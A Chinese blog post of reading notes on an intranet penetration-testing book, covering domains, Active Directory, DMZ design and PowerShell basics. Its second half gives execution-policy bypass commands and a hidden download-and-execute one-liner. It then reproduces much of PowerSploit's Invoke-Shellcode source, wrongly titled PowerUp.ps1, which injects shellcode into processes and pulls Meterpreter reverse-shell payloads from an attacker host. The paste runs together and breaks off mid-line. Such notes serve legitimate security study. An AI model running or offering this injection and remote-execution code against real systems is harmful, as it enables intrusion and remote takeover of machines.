《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础
目錄
- 前言
- 一、內網基礎知識
- 1、工作組
- 2、域
- 3、活動目錄
- (1)活動目錄的功能
- (2)DC和AD區別
- 4、安全域的劃分
- (1)DMZ
- (2)內網
- 5、域中計算機的分類
- 6、域內權限
- (1)組
- (2)A-G-DL-P 策略
- 二、主機平臺及常用工具
- 1、Windows Powershell的概念
- (1) .Ps1 文件
- (2)執行策略
- (3)運行腳本
- (4)管道
- 2、Windows Powershell的特點
- 3、Windows Powershell的命令
- (1)查看Powershell版本
- (2)基本命令
- (3)繞過本地權限并執行
- (4)從網站服務器中下載腳本,繞過本地權限并隱藏執行
- (5)使用Base64編碼對Powershell命令進行編碼
- 三、搭建內網環境
- 結語
前言
上來一看已經5個月沒上了,在忙活畢業論文的事兒
現在搞定畢業了!是時候開始一波學習
本篇開始閱讀學習《內網安全攻防:滲透測試實戰指南》,做個筆記
本篇是第一章內網滲透測試基礎,基本都是些基礎概念和環境搭建
一、內網基礎知識
內網,也指局域網(Local Area Network,LAN),是指在某一區域內由多臺計算機互聯成的計算機組,內網是封閉的。
本節是些基礎定義和概念
1、工作組
工作組(Work Group)就像一個可以自由進入和退出的社團
- 可以自由進入和退出,方便同組的計算機互相訪問
- 沒有集中管理作用,所有計算機都是對等的
2、域
域(Domain)是一個有安全邊界的計算機集合
- 安全邊界:一個域的用戶無法訪問另一個域
- 可以簡單的把域理解成升級版的工作組,但有一個嚴格的集中管理控制機制
- 用戶訪問域內的資源,需要合法身份,且身份決定權限
域控制器(Domain Controller,DC)是域中的管理服務器,相當于一個單位的門禁系統
- DC中存在由這個域的賬戶、密碼、屬于這個域的計算機等信息構成的數據庫
- DC是整個域的通信樞紐
域環境
-
單域:地理位置固定,一個域滿足需求,一般至少有兩臺域服務器
-
父域和子域:管理需求(如不同地理位置)和安全策略的考慮
-
域樹(tree):多個域通過建立信任關系(Trust Relation)組成的集合
-
域森林(forest):多個域樹通過建立信任關系組成的集合
-
域名服務器(Domain Name Server, DNS):用于實現域名(Domam Name)和與之相對應的IP地址(IP Address)轉換的服務器,具體可見一文搞明白DNS與域名解析
3、活動目錄
活動目錄(Active Directory,AD)是域環境中提供目錄服務的組件
- 存儲有關網絡對象(如用戶、組、計算機、共享資源、打印機和聯系人等)的信息
- 幫助用戶快速準確的從目錄中查找到他所需要的信息的服務
- 邏輯結構:不需要考慮被管理對象的地理位置,只需要按照一定方式將這些對象放置在不同的容器中
- 活動目錄數據庫(AD庫:將層次結構的目錄及索引信息存儲在數據庫中
- 管理層次分明:A集團(域森林) -> 子公司(域樹) -> 部門(域) -> 員工
(1)活動目錄的功能
AD相當于樹干
- 帳號集中管理:所有帳號均存儲在服務器中,以便執行命令和重置密碼等
- 軟件集中管理:統一推送軟件,統一安裝網絡打印機等。利用軟件發布策略分發軟件,可以讓用戶自由選擇安裝軟件
- 環境集中管理:利用AD可以統一客戶端桌面,IE,TCP/IP等設置。
- 增強安全性:統一部署殺毒軟件和病毒掃描任務、集中化管理用戶的計算機權限、統一制訂用戶密碼策略等??梢员O控網絡,對資料進行統一管理
- 更可靠,更少的宕機時間:例如:利用AD控制用戶訪問權限,利用群集、負載均衡等技術對文件服務器進行容災設定。網絡更可靠,巖機時間更少
(2)DC和AD區別
如果內網中的一臺計算機上安裝了AD,它就變成了DC(用于存儲AD庫的計算機)
- DC的本質是一臺計算機
- AD的本質是提供目錄服務的組件
4、安全域的劃分
安全域劃分的目的是將一組安全等級相同的計算機劃入同一個網段內, 在網絡邊界上通過防火墻來實現對其他安全域的網絡訪問控制策略, 使得其風險最小化
一般安全域劃分為:DMZ和內網,通過硬件防火墻的不同端口實現隔離,如上圖所示
- 內網:安全級別最高
- DMZ(Demilitarized Zone 非軍事化區):稱為隔離區,為了解決安裝防火墻后外部網絡不能訪問內部網絡服務器的問題,而設立的一個非安全系統與安全系統之間的緩沖區
- 外網:安全級別最低
(1)DMZ
DMZ通常需要定義如下訪問控制策略,以實現其屏障功能:
- 內網可以訪問外網:防火墻需要執行NAT
- 內網可以訪問DMZ:內網用戶可以使用或者管理DMZ中的服務器
- 外網不能訪問內網:如果要訪問,得通過VPN的方式來進行
- 外網可以訪問DMZ:由防火墻來完成從對外地址到服務器實際地址的轉換
- DMZ不能訪問內網
- DMZ不能訪問外網:例外情況如在DMZ中放置了郵件服務器
(2)內網
內網又可以劃分為辦公區和核心區
- 辦公區會安裝防病毒軟件、主機入侵檢測產品(HIDS)等,運維使用堡壘機(跳板機)來統一管理用戶的登陸行為
- 核心區:存儲企業最重要的數據、文檔等信息資產,通過日志記錄、安全審計等安全措施進行嚴密的保護,往往只有很少的主機能夠訪問
5、域中計算機的分類
域控制器
- 存放活動目錄數據庫,是域中必須要有的
- 管理所有的網絡訪問,包括登錄服務器、訪問共享目錄和資源
- 存儲了域內所有的賬戶和策略信息,包括安全策略、用戶身份驗證信息和賬戶信息
成員服務器
- 指安裝了服務器操作系統并加人了域、但沒有安裝活動目錄的計算機
- 提供網絡資源
客戶機
- 安裝了其他操作系統的計算機
- 用戶利用這些計算機和域中的賬戶就可以登錄域
獨立服務器
- 既不加入域,也不安裝活動目錄
6、域內權限
(1)組
組(Group)是用戶賬號的集合,通過向一組用戶分配權限,就可以不必向每個用戶分別分配權限,分域本地組、全局組和通用組。域本地組來自全林,作用于本域;全局組來自本域,作用于全林;通用組來自全林,作用于全林
域本地組(Domain Local Group)
- 多域用戶訪問單域資源,可以從任何域添加用戶賬號、通用組和全局組,但只能在其所在域內指派權限
- 用于授予本域內資源的訪問權限
全局組(Global Group)
- 單域用戶訪問多域資源(必須是同一個域中的用戶),只能在創建該全局組的域中添加用戶和全局組
- 全局組可以嵌套在其他組中
- 舉個例子:將用戶張三(域帳號Z3)加入到域本地組administrators中,并不能使Z3對非DC的域成員計算機有任何特權;但若加入到全局組Domain Admins中,張三就是域管理員了,可以在全局使用,對域成員計算機是有特權的
通用組(Universal Group)
- 成員來自域森林中任何域的用戶賬號、全局組和其他通用組,可以在該域森林的任何或中指派權限
- 可以嵌套在其他組中,非常適合在域森林內的跨域訪問中使用
(2)A-G-DL-P 策略
A-G-DL-P 策略:將用戶賬號添加到全局組中,將全局組添加到域本地組中,然后為域本地組分配資源權限
- A表示用戶賬號(Account)
- G表示全局組(Global Group)
- U表示通用組(Universal Group)
- DL表示域本地組(Domain Local Group)
- P表示資源權限(Permssion)
在A-G-DL-P策略形成以后,當給一個用戶某一個權限的時候,只要把這個用戶加入到某一個域本地組就可以了。
舉個例子
有兩個域,A和B,A中的5個財務人員和B中的3個財務人員都需要訪問B中的“FINA”文件夾。這時,可以在B中建一個DL(域本地組),因為DL的成員可以來自所有的域,然后把這8個人都加入這個DL,并把FINA的訪問權賦給DL。
這樣做的壞處是什么呢?因為DL是在B域中,所以管理權也在B域,如果A域中的5個人變成6個人,那只能A域管理員通知B域管理員,將DL的成員做一下修改,B域的管理員太累了。
這時候,我們改變一下,在A和B域中都各建立一個全局組(G),然后在B域中建立一個DL,把這兩個G都加入B域中的DL中,然后把FINA的訪問權賦給DL。哈哈,這下兩個G組都有權訪問FINA文件夾了。是嗎?組嵌套造成權限繼承嘛!這時候,兩個G分布在A和B域中,也就是A和B的管理員都可以自己管理自己的G啦,只要把那5個人和3個人加入G中,就可以了!以后有任何修改,都可以自己做了,不用麻煩B域的管理員!這就是A-G-DL-P。
一些需要注意的組:
-
常用DL: Administrators(管理員組),最重要的權限; Remote Desktop Users(遠程登錄組)。
-
常用G: Domain Admins(域管理員組),最最重要的權限,一般來說域滲透是看重這個; Domain Users(域用戶組)。
-
常見U: Enterprise Admins(企業系統管理員組)、 Schema Admins(架構管理員組),也是最最重要的權限。
二、主機平臺及常用工具
這節主要是介紹了些Kali和Win下的常用工具
在這里就記錄下Windows Powershell的一些基礎知識
1、Windows Powershell的概念
(1) .Ps1 文件
一個PowerShell腳本其實就是—個簡單的文本文件,其擴展名為“ps1”
(2)執行策略
為了防止使用者運行惡意腳本,PowerShell提供了一個執行策略,默認“不能運行”
可以使用下面的cmdlet命令查詢當前的執行策略:
- Get-ExecutionPolicy
- Restricted:腳本不能運行(默認設置)
- RemoteSigned:在本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名的除外)
- A1lSigned:僅當腳本由受信任的發布者簽名時才能運行
- Unrestricted:允許所有腳本運行
命令如下:
Set-ExecutionPolicy <policy name>(3)運行腳本
在當前目錄時,可以使用.\a.ps1,不然就要完整路徑
如果是使用Import-Module加載腳本可以使用:
. .\a.ps1(4)管道
將一個命令的輸出作為另—個命令的輸人,兩個命令之間用|連接
例子:執行如下命令,讓所有正在運行的名字以字符“p”開頭的程序停止運行
get-process p* | stop-process2、Windows Powershell的特點
有以下這些特點:
- 在Wmdow 7以上版本的操作系統中是默認安裝的
- 腳本可以在內存中運行,不需要寫人磁盤
- 幾乎不會觸發殺毒軟件
- 可以遠程執行
- 目前很多工具都是基于PowerShell開發的
- 使Windows腳本的執行變得更容易
- cmd的運行通常會被阻止,但是PowerShell的運行通常不會被阻止
- 可用于管理活動目錄
3、Windows Powershell的命令
(1)查看Powershell版本
Get-Host $PSVersionTable.PSVERSION(2)基本命令
新建目錄:New-Item aaa -ItemType Directory(實際上在5.0版本可以直接通過md) 新建文件:New-Item aaa.txt 刪除目錄:Remove-Item aaa.txt 可以直接使用rm 顯示文件內容:Get-Content 可以直接使用cat 設置文本內容:Set-Content aaa.txt -Value "aaa" 追加內容:Add-Content aaa.txt -Value "aaa" 清除內容:Clear-Content aaa.txt(3)繞過本地權限并執行
繞過安全策略,在目標服務器本地執行腳本PowerUp.ps1
Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1上傳之后執行
powershell.exe -exec bypass -Command "& {Import-module C:\PowerUp.ps1;Invoke-AllChecks}"(4)從網站服務器中下載腳本,繞過本地權限并隱藏執行
命令如下(此處書中存在空格被吞的情況):
powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("http://www.baidu.com/xxx.ps1");書中的PowerUp.ps1腳本如下:
function Invoke-Shellcode { <# .SYNOPSISInject shellcode into the process ID of your choosing or within the context of the running PowerShell process.PowerSploit Function: Invoke-Shellcode Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None.DESCRIPTIONPortions of this project was based upon syringe.c v1.2 written by Spencer McIntyrePowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary..PARAMETER ProcessIDProcess ID of the process you want to inject shellcode into..PARAMETER ShellcodeSpecifies an optional shellcode passed in as a byte array.PARAMETER ListMetasploitPayloadsLists all of the available Metasploit payloads that Invoke-Shellcode supports.PARAMETER LhostSpecifies the IP address of the attack machine waiting to receive the reverse shell.PARAMETER LportSpecifies the port of the attack machine waiting to receive the reverse shell.PARAMETER PayloadSpecifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported..PARAMETER UserAgentOptionally specifies the user agent to use when using meterpreter http or https payloads.PARAMETER ProxyOptionally specifies whether to utilize the proxy settings on the machine..PARAMETER LegacyOptionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. .PARAMETER ForceInjects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act..EXAMPLEC:\PS> Invoke-Shellcode -ProcessId 4274Description ----------- Inject shellcode into process ID 4274..EXAMPLEC:\PS> Invoke-ShellcodeDescription ----------- Inject shellcode into the running instance of PowerShell..EXAMPLEC:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden C:\PS> $Proc = Get-Process notepad C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -VerboseVERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process. VERBOSE: Using 32-bit shellcode. VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub. VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete!Description ----------- Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_https):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 443 yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80Description ----------- Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_http):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 80 yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!.EXAMPLEC:\PS> Invoke-Shellcode -ListMetasploitPayloadsPayloads -------- windows/meterpreter/reverse_http windows/meterpreter/reverse_https.NOTESUse the '-Verbose' option to print detailed information.Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameterBig thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/.LINKhttp://www.exploit-monday.com #>[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ([ValidateNotNullOrEmpty()][UInt16]$ProcessID,[Parameter( ParameterSetName = 'RunLocal' )][ValidateNotNullOrEmpty()][Byte[]]$Shellcode,[Parameter( ParameterSetName = 'Metasploit' )][ValidateSet( 'windows/meterpreter/reverse_http','windows/meterpreter/reverse_https',IgnoreCase = $True )][String]$Payload = 'windows/meterpreter/reverse_http',[Parameter( ParameterSetName = 'ListPayloads' )][Switch]$ListMetasploitPayloads,[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateNotNullOrEmpty()][String]$Lhost = '127.0.0.1',[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateRange( 1,65535 )][Int]$Lport = 8443,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][String]$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Legacy = $False,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Proxy = $False,[Switch]$Force = $False )Set-StrictMode -Version 2.0# List all available Metasploit payloads and exit the functionif ($PsCmdlet.ParameterSetName -eq 'ListPayloads'){$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}foreach ($Payload in $AvailablePayloads.ValidValues){New-Object PSObject -Property @{ Payloads = $Payload }}Return}if ( $PSBoundParameters['ProcessID'] ){# Ensure a valid process ID was provided# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptiveGet-Process -Id $ProcessID -ErrorAction Stop | Out-Null}function Local:Get-DelegateType{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$Parameters = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$ReturnType = [Void])$Domain = [AppDomain]::CurrentDomain$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)$MethodBuilder.SetImplementationFlags('Runtime, Managed')Write-Output $TypeBuilder.CreateType()}function Local:Get-ProcAddress{Param([OutputType([IntPtr])][Parameter( Position = 0, Mandatory = $True )][String]$Module,[Parameter( Position = 1, Mandatory = $True )][String]$Procedure)# Get a reference to System.dll in the GAC$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')# Get a reference to the GetModuleHandle and GetProcAddress methods$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')# Get a handle to the module specified$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))$tmpPtr = New-Object IntPtr$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)# Return the address of the functionWrite-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payloadfunction Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture){$IntSizePtr = $Architecture / 8function Local:ConvertTo-LittleEndian ([IntPtr] $Address){$LittleEndianByteArray = New-Object Byte[](0)$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }[System.Array]::Reverse($LittleEndianByteArray)Write-Output $LittleEndianByteArray}$CallStub = New-Object Byte[](0)if ($IntSizePtr -eq 8){[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0 # CALL RAX$CallStub += 0x6A,0x00 # PUSH BYTE 0$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0 # CALL RAX}else{[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0 # CALL EAX$CallStub += 0x6A,0x00 # PUSH BYTE 0$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0 # CALL EAX}Write-Output $CallStub}function Local:Inject-RemoteShellcode ([Int] $ProcessID){# Open a handle to the process you want to inject into$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)if (!$hProcess){Throw "Unable to open a process handle for PID: $ProcessID"}$IsWow64 = $falseif ($64bitCPU) # Only perform theses checks if CPU is 64-bit{# Determine is the process specified is 32 or 64 bit$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Nullif ((!$IsWow64) -and $PowerShell32bit){Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'}elseif ($IsWow64) # 32-bit Wow64 process{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Injecting into a Wow64 process.'Write-Verbose 'Using 32-bit shellcode.'}else # 64-bit process{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}}else # 32-bit CPU{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}# Reserve and commit enough memory in remote process to hold the shellcode$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteMemAddr){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode into the previously allocated memory$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($IsWow64){# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate inline assembly stub$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteStubAddr){Throw "Unable to allocate thread call stub memory in PID: $ProcessID"}Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"# Write 32-bit assembly stub to remote process memory space$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null# Execute shellcode as a remote thread$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch remote thread in PID: $ProcessID"}# Close process handle$CloseHandle.Invoke($hProcess) | Out-NullWrite-Verbose 'Shellcode injection complete!'}function Local:Inject-LocalShellcode{if ($PowerShell32bit) {if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'return}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}else{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'return}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}# Allocate RWX memory for the shellcode$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$BaseAddress){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($PowerShell32bit){$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate RWX memory for the thread call stub$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$CallStubAddress){Throw "Unable to allocate thread call stub."}Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy call stub to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)# Launch shellcode in it's own thread$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch thread."}# Wait for shellcode thread to terminate$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)Write-Verbose 'Shellcode injection complete!'}# A valid pointer to IsWow64Process will be returned if CPU is 64-bit$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Processif ($IsWow64ProcessAddr){$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)$64bitCPU = $true}else{$64bitCPU = $false}if ([IntPtr]::Size -eq 4){$PowerShell32bit = $true}else{$PowerShell32bit = $false}if ($PsCmdlet.ParameterSetName -eq 'Metasploit'){if (!$PowerShell32bit) {# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function# Pull out just the content of the this script's invocation.$RootInvocation = $MyInvocation.Line$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?","Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }if ( !$Response ){# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit functionReturn}# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.if ($MyInvocation.BoundParameters['Force']){Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"}else{Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"}$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)$EncodedCommand = [Convert]::ToBase64String($CommandBytes)$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"Invoke-Expression -Command $Execute | Out-Null# Exit the script since the shellcode will be running from x86 PowerShellReturn}$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?","About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }if ( !$Response ){# User opted not to carry out download of Metasploit payload. Exit functionReturn}switch ($Payload){'windows/meterpreter/reverse_http'{$SSL = ''}'windows/meterpreter/reverse_https'{$SSL = 's'# Accept invalid certificates[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}}}if ($Legacy) {# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"Write-Verbose "Requesting meterpreter payload from $Request"} else {# Generate a URI that passes the test$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}$SumTest = $Falsewhile ($SumTest -eq $False) {$GeneratedUri = $CharArray | Get-Random -Count 4$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)}$RequestUri = -join $GeneratedUri$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" }$Uri = New-Object Uri($Request)$WebClient = New-Object System.Net.WebClient$WebClient.Headers.Add('user-agent', "$UserAgent")if ($Proxy){$WebProxyObject = New-Object System.Net.WebProxy$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer# if there is no proxy set, then continue without itif ($ProxyAddress) {$WebProxyObject.Address = $ProxyAddress$WebProxyObject.UseDefaultCredentials = $True$WebClientObject.Proxy = $WebProxyObject}}try{[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)}catch{Throw "$($Error[0].Exception.InnerException.InnerException.Message)"}[Byte[]] $Shellcode64 = $Shellcode32}elseif ($PSBoundParameters['Shellcode']){# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.[Byte[]] $Shellcode32 = $Shellcode[Byte[]] $Shellcode64 = $Shellcode32}else{# Pop a calc... or whatever shellcode you decide to place in here# I sincerely hope you trust that this shellcode actually pops a calc...# Insert your shellcode here in the for 0xXX,0xXX,...# 32-bit payload# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread[Byte[]] $Shellcode32 = 